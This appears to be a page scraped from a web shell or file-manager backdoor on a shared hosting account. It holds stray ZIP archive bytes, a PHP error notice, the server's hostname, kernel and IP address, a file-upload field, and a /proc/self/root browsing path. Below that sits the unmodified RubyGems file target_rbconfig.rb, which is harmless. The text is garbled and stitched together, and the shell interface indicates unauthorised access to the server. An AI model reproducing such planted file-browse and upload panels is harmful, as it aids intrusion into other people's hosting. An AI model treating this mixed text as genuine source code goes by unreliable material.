PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/telusvwg/public_html/da754d/index.php on line 8
$#$#$#

Dir : /proc/self/root/opt/alt/ruby34/share/rubygems/rubygems/
Server: Linux premium279.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
IP: 66.29.132.192
Choose File :

Url:
Dir : //proc/self/root/opt/alt/ruby34/share/rubygems/rubygems/target_rbconfig.rb

# frozen_string_literal: true

require "rbconfig"

##
# A TargetConfig is a wrapper around an RbConfig object that provides a
# consistent interface for querying configuration for *deployment target
# platform*, where the gem being installed is intended to run on.
#
# The TargetConfig is typically created from the RbConfig of the running Ruby
# process, but can also be created from an RbConfig file on disk for cross-
# compiling gems.

class Gem::TargetRbConfig
  attr_reader :path

  def initialize(rbconfig, path)
    @rbconfig = rbconfig
    @path = path
  end

  ##
  # Creates a TargetRbConfig for the platform that RubyGems is running on.

  def self.for_running_ruby
    new(::RbConfig, nil)
  end

  ##
  # Creates a TargetRbConfig from the RbConfig file at the given path.
  # Typically used for cross-compiling gems.

  def self.from_path(rbconfig_path)
    namespace = Module.new do |m|
      # Load the rbconfig.rb file within a new anonymous module to avoid
      # conflicts with the rbconfig for the running platform.
      Kernel.load rbconfig_path, m
    end
    rbconfig = namespace.const_get(:RbConfig)

    new(rbconfig, rbconfig_path)
  end

  ##
  # Queries the configuration for the given key.

  def [](key)
    @rbconfig::CONFIG[key]
  end
end